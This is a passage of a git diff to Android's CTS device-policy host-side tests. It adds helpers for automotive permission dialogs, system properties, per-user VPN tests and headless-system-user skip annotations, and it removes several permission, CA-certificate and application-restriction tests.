+        Pattern resPattern = Pattern.compile(".*car_ui_list_item_title");
+        Pattern textPattern;
+        String action;
+        switch (expectedAction) {
+            case PERMISSION_DENIED:
+                action = "PERMISSION_DENIED";
+                textPattern = Pattern.compile("^Don’t allow$");
+                break;
+            case PERMISSION_GRANTED:
+                action = "PERMISSION_GRANTED";
+                textPattern = Pattern.compile("^Allow|While using the app$");
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid expected action: " + expectedAction);
+        }
+        Log.i(LOG_TAG, "Button not found on automotive build; searching for " + resPattern
+                + " res and " + textPattern + " text instead");
+        BySelector selector = By
+                .clazz(android.widget.TextView.class.getName())
+                 .text(textPattern)
+                .res(resPattern);
+        Log.v(LOG_TAG, "selector: " + selector);
+        device.wait(Until.hasObject(selector), 5000);
+        UiObject2 button = device.findObject(selector);
+        Log.d(LOG_TAG, "button: " + button + (button == null ? "" : " (" + button.getText() + ")"));
+        assertWithMessage("Found button with res %s and text '%s'", resPattern, textPattern)
+                .that(button).isNotNull();
+
+        return button;
+    }
+
+    public static String permissionGrantStateToString(int state) {
+        return constantToString(DevicePolicyManager.class, "PERMISSION_GRANT_STATE_", state);
+    }
+
+    public static String permissionPolicyToString(int policy) {
+        return constantToString(DevicePolicyManager.class, "PERMISSION_POLICY_", policy);
+    }
+
+    public static String permissionToString(int permission) {
+        return constantToString(PackageManager.class, "PERMISSION_", permission);
+    }
+
+    // Copied from DebugUtils
+    private static String constantToString(Class<?> clazz, String prefix, int value) {
+        for (Field field : clazz.getDeclaredFields()) {
+            final int modifiers = field.getModifiers();
+            try {
+                if (Modifier.isStatic(modifiers) && Modifier.isFinal(modifiers)
+                        && field.getType().equals(int.class) && field.getName().startsWith(prefix)
+                        && field.getInt(null) == value) {
+                    return constNameWithoutPrefix(prefix, field);
+                }
+            } catch (IllegalAccessException ignored) {
+            }
+        }
+        return prefix + Integer.toString(value);
+    }
+
+    // Copied from DebugUtils
+    private static String constNameWithoutPrefix(String prefix, Field field) {
+        return field.getName().substring(prefix.length());
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index a967d3a..39f0abd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -26,6 +26,8 @@
  */
 abstract class BaseDeviceOwnerTest extends BaseDevicePolicyTest {
 
+    private static final String PROPERTY_STOP_BG_USERS_ON_SWITCH = "fw.stop_bg_users_on_switch";
+
     protected static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
     protected static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
 
@@ -99,6 +101,21 @@
         executeDeviceOwnerPackageTestMethod(className, testName, mPrimaryUserId);
     }
 
+    protected final String getStopBgUsersOnSwitchProperty() throws Exception {
+        return executeShellCommand("getprop %s", PROPERTY_STOP_BG_USERS_ON_SWITCH).trim();
+    }
+
+    protected final void setStopBgUsersOnSwitchProperty(String value) throws Exception  {
+        CLog.d("Value of %s before: %s", PROPERTY_STOP_BG_USERS_ON_SWITCH,
+                getStopBgUsersOnSwitchProperty());
+        executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
+    }
+
+    protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+        String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+        return result != null && !result.isEmpty();
+    }
+
     private void executeDeviceOwnerPackageTestMethod(String className, String testName,
             int userId) throws Exception {
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 499a0e4..f19d6bc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
 
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
     private static final String FEATURE_CAMERA = "android.hardware.camera";
     private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@
     private static final String FEATURE_LEANBACK = "android.software.leanback";
     private static final String FEATURE_NFC = "android.hardware.nfc";
     private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
     private static final String FEATURE_PRINT = "android.software.print";
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -186,6 +186,8 @@
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
+    protected boolean mHasAttestation;
+
     private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
 
     @Rule
@@ -205,6 +207,10 @@
         mFixedPackages = getDevice().getInstalledPackageNames();
         mBuildHelper = new CompatibilityBuildHelper(getBuild());
 
+        String propertyValue = getDevice().getProperty("ro.product.first_api_level");
+        if (propertyValue != null && !propertyValue.isEmpty()) {
+            mHasAttestation = Integer.parseInt(propertyValue) >= 26;
+        }
         if (hasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN)) {
             ensurePrimaryUserHasNoPassword();
         }
@@ -375,23 +381,26 @@
         executeShellCommand("am force-stop --user " + userId + " " + packageName);
     }
 
-    protected void executeShellCommand(String commandTemplate, Object...args) throws Exception {
-        executeShellCommand(String.format(commandTemplate, args));
+    protected String executeShellCommand(String commandTemplate, Object...args) throws Exception {
+        return executeShellCommand(String.format(commandTemplate, args));
     }
 
-    protected void executeShellCommand(String command) throws Exception {
-        CLog.d("Starting command " + command);
+    protected String executeShellCommand(String command) throws Exception {
+        CLog.d("Starting command %s", command);
         String commandOutput = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + commandOutput);
+        CLog.d("Output for command %s: %s", command, commandOutput);
+        return commandOutput;
     }
 
     /** Initializes the user with the given id. This is required so that apps can run on it. */
     protected void startUser(int userId) throws Exception {
+        CLog.d("Starting user %d", userId);
         getDevice().startUser(userId);
     }
 
     /** Initializes the user with waitFlag. This is required so that apps can run on it. */
     protected void startUserAndWait(int userId) throws Exception {
+        CLog.d("Starting user %d and waiting", userId);
         getDevice().startUser(userId, /* waitFlag= */ true);
     }
 
@@ -415,6 +424,7 @@
     protected void switchUser(int userId) throws Exception {
         // TODO Move this logic to ITestDevice
         int retries = 10;
+        CLog.i("switching to user %d", userId);
         executeShellCommand("am switch-user " + userId);
         while (getDevice().getCurrentUser() != userId && (--retries) >= 0) {
             // am switch-user can be ignored if a previous user-switching operation
@@ -606,7 +616,7 @@
     /** Reboots the device and block until the boot complete flag is set. */
     protected void rebootAndWaitUntilReady() throws Exception {
         getDevice().rebootUntilOnline();
-        assertTrue("Device failed to boot", getDevice().waitForBootComplete(120000));
+        assertTrue("Device failed to boot", getDevice().waitForBootComplete(120_000));
     }
 
     /** Returns a boolean value of the system property with the specified key. */
@@ -803,6 +813,10 @@
         return getDevice().getPrimaryUserId();
     }
 
+    protected int getCurrentUser() throws DeviceNotAvailableException {
+        return getDevice().getCurrentUser();
+    }
+
     protected int getUserSerialNumber(int userId) throws DeviceNotAvailableException{
         // TODO: Move this logic to ITestDevice.
         // dumpsys user output contains lines like "UserInfo{0:Owner:13} serialNo=0 isPrimary=true"
@@ -1057,12 +1071,17 @@
                 + " -c android.intent.category.DEFAULT "
                 + " --es extra-command " + command
                 + " " + extras
+                + getAdditionalExtrasForSetPolicyActivity()
                 + " " + packageName + "/.SetPolicyActivity";
         String commandOutput = getDevice().executeShellCommand(adbCommand);
         CLog.d("Output for command " + adbCommand + ": " + commandOutput);
         return commandOutput;
     }
 
+    protected String getAdditionalExtrasForSetPolicyActivity() {
+        return "";
+    }
+
     /**
      * Same as {@link #changePolicy(String, String, int, String)} but asserts that it succeeds.
      */
@@ -1237,9 +1256,15 @@
         allowTestApiAccess(deviceAdminPkg);
     }
 
-    protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
-        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
-        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+    /**
+     * Grants access to APIs marked as {@code @TestApi}.
+     *
+     * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+     * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+     */
+    protected void allowTestApiAccess(String pgkName) throws Exception {
+        CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+        executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
     }
 
     protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1318,6 +1343,10 @@
         return hasDeviceFeature(FEATURE_LEANBACK);
     }
 
+    boolean isAutomotive() throws DeviceNotAvailableException {
+        return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
@@ -1343,7 +1372,7 @@
     }
 
     void sleep(int timeMs) throws InterruptedException {
-        CLog.d("Sleeping %d ms");
+        CLog.d("Sleeping %d ms", timeMs);
         Thread.sleep(timeMs);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
index e8b6f49..bba17d7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
@@ -72,6 +72,8 @@
         super.setUp();
     }
 
+    // TODO(b/199122256): Remove testCanRequestInteractAcrossProfiles tests after fixing the
+    //  installation issue in the migrated tests.
     @Test
     public void testCanRequestInteractAcrossProfiles_fromPersonalProfile_returnsTrue()
             throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 6372a01..b8b0f6e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -39,15 +39,9 @@
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
     private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
 
-    private static final String ACCOUNT_MANAGEMENT_PKG
-            = "com.android.cts.devicepolicy.accountmanagement";
-    protected static final String ACCOUNT_MANAGEMENT_APK
-            = "CtsAccountManagementDevicePolicyApp.apk";
-
     @Override
     public void tearDown() throws Exception {
         getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-        getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
 
         super.tearDown();
     }
@@ -97,24 +91,6 @@
         }
     }
 
-    @FlakyTest
-    @Test
-    public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mPrimaryUserId);
-        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
-        try {
-            runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
-                    "testAddAccountExplicitly", mPrimaryUserId);
-            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
-                    /*expectFailure*/ true));
-        } finally {
-            // make sure we clean up in case we succeeded in setting the device owner
-            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId);
-            runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
-                    "testRemoveAccountExplicitly", mPrimaryUserId);
-        }
-    }
-
     @Test
     public void testIsProvisioningAllowed() throws Exception {
         // Must install the apk since the test runs in the DO apk.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
index b1b42b0..9dc9ef7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
@@ -67,6 +67,15 @@
 
                 String testName = description.getDisplayName();
 
+                TemporarilyIgnoreOnHeadlessSystemUserMode temporarilyIgnoredAnnotation = description
+                        .getAnnotation(TemporarilyIgnoreOnHeadlessSystemUserMode.class);
+                if (temporarilyIgnoredAnnotation != null
+                        && BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    throw new AssumptionViolatedException(
+                            "TEMPORARILY skipping " + testName + " on headless system user mode "
+                                    + "(reason: " + temporarilyIgnoredAnnotation.reason() + ")");
+                }
+
                 IgnoreOnHeadlessSystemUserMode ignoredAnnotation = description
                         .getAnnotation(IgnoreOnHeadlessSystemUserMode.class);
                 if (ignoredAnnotation != null
@@ -200,6 +209,17 @@
     }
 
     /**
+     * TODO(b/132260693): STOPSHIP - temporary annotation used on tests that haven't been fixed to
+     * run on headless system user yet
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface TemporarilyIgnoreOnHeadlessSystemUserMode {
+        String bugId();
+        String reason();
+    }
+
+    /**
      * Annotation used on tests that cannot run on devices that use headless system user mode.
      */
     @Retention(RetentionPolicy.RUNTIME)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index ea09321..c6f86b8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -28,6 +28,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporarilyIgnoreOnHeadlessSystemUserMode;
 import com.android.cts.devicepolicy.annotations.LockSettingsTest;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -223,25 +224,6 @@
     }
 
     @Test
-    public void testCaCertManagement() throws Exception {
-        executeDeviceTestClass(".CaCertManagementTest");
-    }
-
-    @Test
-    public void testInstallCaCertLogged() throws Exception {
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".CaCertManagementTest", "testCanInstallAndUninstallACaCert");
-        }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_CA_CERT_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.UNINSTALL_CA_CERTS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .build());
-    }
-
-    @Test
     public void testApplicationRestrictionIsRestricted() throws Exception {
         installAppAsUser(DELEGATE_APP_APK, mUserId);
         runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsIsCallerDelegateHelper",
@@ -252,53 +234,6 @@
             "testAssertCallerIsApplicationRestrictionsManagingPackage", mUserId);
     }
 
-    @Test
-    public void testApplicationRestrictions() throws Exception {
-        installAppAsUser(DELEGATE_APP_APK, mUserId);
-        installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
-
-        try {
-            // Only the DPC can manage app restrictions by default.
-            executeDeviceTestClass(".ApplicationRestrictionsTest");
-            executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
-
-            // Letting the DELEGATE_APP_PKG manage app restrictions too.
-            changeApplicationRestrictionsManagingPackage(DELEGATE_APP_PKG);
-            executeAppRestrictionsManagingPackageTest("testCanAccessApis");
-            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest",
-                    "testSettingAdminComponentNameThrowsException", mUserId);
-
-            // The DPC should still be able to manage app restrictions normally.
-            executeDeviceTestClass(".ApplicationRestrictionsTest");
-
-            // The app shouldn't be able to manage app restrictions for other users.
-            int parentUserId = getPrimaryUser();
-            if (parentUserId != mUserId) {
-                installAppAsUser(DELEGATE_APP_APK, parentUserId);
-                installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, parentUserId);
-                runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsDelegateTest",
-                        "testCannotAccessApis", parentUserId);
-            }
-
-            // Revoking the permission for DELEGAYE_APP_PKG to manage restrictions.
-            changeApplicationRestrictionsManagingPackage(null);
-            executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
-
-            // The DPC should still be able to manage app restrictions normally.
-            executeDeviceTestClass(".ApplicationRestrictionsTest");
-
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".ApplicationRestrictionsTest",
-                        "testSetApplicationRestrictions");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
-                    .build());
-        } finally {
-            changeApplicationRestrictionsManagingPackage(null);
-        }
-    }
-
     /**
      * Returns a list of delegation tests that should run. Add delegations tests applicable to both
      * device owner and profile owners to this method directly. DO or PO specific tests should be
@@ -306,7 +241,6 @@
      */
     private Map<String, DevicePolicyEventWrapper[]> getDelegationTests() {
         final Map<String, DevicePolicyEventWrapper[]> result = new HashMap<>();
-        result.put(".AppRestrictionsDelegateTest", null);
         result.put(".CertInstallDelegateTest", null);
         result.put(".BlockUninstallDelegateTest", null);
         result.put(".PermissionGrantDelegateTest", null);
@@ -349,24 +283,17 @@
 
     /**
      * General instructions to add a new delegation test:
-     * 1. Test primary delegation functionalitiy
-     *    Implement the delegate's positive/negate functionaility tests in a new test class
-     *    in CtsDelegateApp.apk. Main entry point are {@code testCanAccessApis} and
-     *    {@code testCannotAccessApis}. Once implemented, add the delegation scope and the test
-     *    class name to {@link #getDelegationScopes}, {@link #getDelegationTests} to make the test
-     *    run on DO/PO/PO on primary user.  If the test should only run on a subset of these
-     *    combinations, add them to the subclass's {@link #getAdditionalDelegationScopes} and
-     *    {@link #getDelegationScopes} intead.
-     *    <p>Alternatively, create a separate hostside method to drive the test, similar to
-     *    {@link #testDelegationCertSelection}. This is preferred if the delegated functionalities
-     *    already exist in another app.
-     * 2. Test access control of DO-only delegation
-     *    Add the delegation scope to
-     *    {@code DelegationTest#testDeviceOwnerOnlyDelegationsOnlyPossibleToBeSetByDeviceOwner} to
-     *    test that only DO can delegate this scope.
-     * 3. Test behaviour of exclusive delegation
-     *    Add the delegation scope to {@code DelegationTest#testExclusiveDelegations} to test that
-     *    the scope can only be delegatd to one app at a time.
+     *
+     * <p>Implement the delegate's positive/negate functionaility tests in a new test class
+     * in CtsDelegateApp.apk. Main entry point are {@code testCanAccessApis} and
+     * {@code testCannotAccessApis}. Once implemented, add the delegation scope and the test
+     * class name to {@link #getDelegationScopes}, {@link #getDelegationTests} to make the test
+     * run on DO/PO/PO on primary user.  If the test should only run on a subset of these
+     * combinations, add them to the subclass's {@link #getAdditionalDelegationScopes} and
+     * {@link #getDelegationScopes} instead.
+     * <p>Alternatively, create a separate hostside method to drive the test, similar to
+     * {@link #testDelegationCertSelection}. This is preferred if the delegated functionalities
+     * already exist in another app.
      */
     @Test
     public void testDelegation() throws Exception {
@@ -395,9 +322,6 @@
             setDelegatedScopes(DELEGATE_APP_PKG, null);
             executeDelegationTests(delegationTests, false /* negative result */);
 
-            // Additional delegation tests.
-            executeDeviceTestClass(".DelegationTest");
-
         } finally {
             // Remove any remaining delegations.
             setDelegatedScopes(DELEGATE_APP_PKG, null);
@@ -423,35 +347,6 @@
     }
 
     @Test
-    public void testPermissionGrant() throws Exception {
-        installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest",
-                "testPermissionGrantStateDenied_permissionRemainsDenied");
-        executeDeviceTestMethod(".PermissionsTest",
-                "testPermissionGrantStateGranted_permissionRemainsGranted");
-    }
-
-    @Test
-    public void testPermissionGrant_developmentPermission() throws Exception {
-        installAppPermissionAppAsUser();
-        executeDeviceTestMethod(
-                ".PermissionsTest", "testPermissionGrantState_developmentPermission");
-    }
-
-    @Test
-    @FlakyTest(bugId = 187862351)
-    public void testGrantOfSensorsRelatedPermissions() throws Exception {
-        installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted");
-    }
-
-    @Test
-    public void testDenyOfSensorsRelatedPermissions() throws Exception {
-        installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCanBeDenied");
-    }
-
-    @Test
     @FlakyTest(bugId = 187862351)
     public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
         installAppPermissionAppAsUser();
@@ -459,14 +354,6 @@
                 "testSensorsRelatedPermissionsNotGrantedViaPolicy");
     }
 
-    @Test
-    @FlakyTest(bugId = 187862351)
-    public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
-        installAppPermissionAppAsUser();
-        executeDeviceTestMethod(".PermissionsTest",
-                "testStateOfSensorsRelatedPermissionsCannotBeRead");
-    }
-
     /**
      * Require a device for tests that use the network stack. Headless Androids running in
      * data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
@@ -478,99 +365,121 @@
     @RequiresDevice
     @Test
     public void testAlwaysOnVpn() throws Exception {
-        installAppAsUser(VPN_APP_APK, mUserId);
-        executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest");
+        int userId = getUserIdForAlwaysOnVpnTests();
+        installAppAsUser(VPN_APP_APK, userId);
+        executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest", userId);
+    }
+
+    protected int getUserIdForAlwaysOnVpnTests() {
+        return mUserId;
     }
 
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnLockDown() throws Exception {
-        installAppAsUser(VPN_APP_APK, mUserId);
+        int userId = getUserIdForAlwaysOnVpnTests();
+        installAppAsUser(VPN_APP_APK, userId);
         try {
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
-            forceStopPackageForUser(VPN_APP_PKG, mUserId);
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testNetworkBlocked");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet", userId);
+            forceStopPackageForUser(VPN_APP_PKG, userId);
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testNetworkBlocked", userId);
         } finally {
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup", userId);
         }
     }
 
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnAcrossReboot() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         try {
-            installAppAsUser(VPN_APP_APK, mUserId);
+            installAppAsUser(VPN_APP_APK, userId);
             waitForBroadcastIdle();
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetWithAllowlist");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetWithAllowlist",
+                    userId);
             rebootAndWaitUntilReady();
             // Make sure profile user initialization is complete before proceeding.
             waitForBroadcastIdle();
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot",
+                    userId);
         } finally {
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup", userId);
         }
     }
 
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
-        installAppAsUser(VPN_APP_APK, mUserId);
+        int userId = getUserIdForAlwaysOnVpnTests();
+        installAppAsUser(VPN_APP_APK, userId);
         try {
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet", userId);
             getDevice().uninstallPackage(VPN_APP_PKG);
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnVpnDisabled");
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testSetNonExistingPackage");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnVpnDisabled",
+                    userId);
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testSetNonExistingPackage",
+                    userId);
         } finally {
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup", userId);
         }
     }
 
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         try {
             // Target SDK = 23: unsupported
-            installAppAsUser(VPN_APP_API23_APK, mUserId);
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+            installAppAsUser(VPN_APP_API23_APK, userId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn",
+                    userId);
 
             // Target SDK = 24: supported
-            installAppAsUser(VPN_APP_API24_APK, mUserId);
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+            installAppAsUser(VPN_APP_API24_APK, userId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+                    userId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn", userId);
 
             // Explicit opt-out: unsupported
-            installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+            installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, userId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn",
+                    userId);
         } finally {
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn", userId);
         }
     }
 
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         try {
             // Target SDK = 24: supported
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
-            installAppAsUser(VPN_APP_API24_APK, mUserId);
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn",
+                    userId);
+            installAppAsUser(VPN_APP_API24_APK, userId);
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+                    userId);
             // Update the app to target higher API level, but with manifest opt-out
-            installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+            installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, userId);
             // wait for the app update install completed, ready to be tested
             waitForBroadcastIdle();
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn",
+                    userId);
         } finally {
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn", userId);
         }
     }
 
     @RequiresDevice
     @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
+        int userId = getUserIdForAlwaysOnVpnTests();
         // Will be uninstalled in tearDown().
-        installAppAsUser(VPN_APP_APK, mUserId);
+        installAppAsUser(VPN_APP_APK, userId);
         assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+            executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+                    userId);
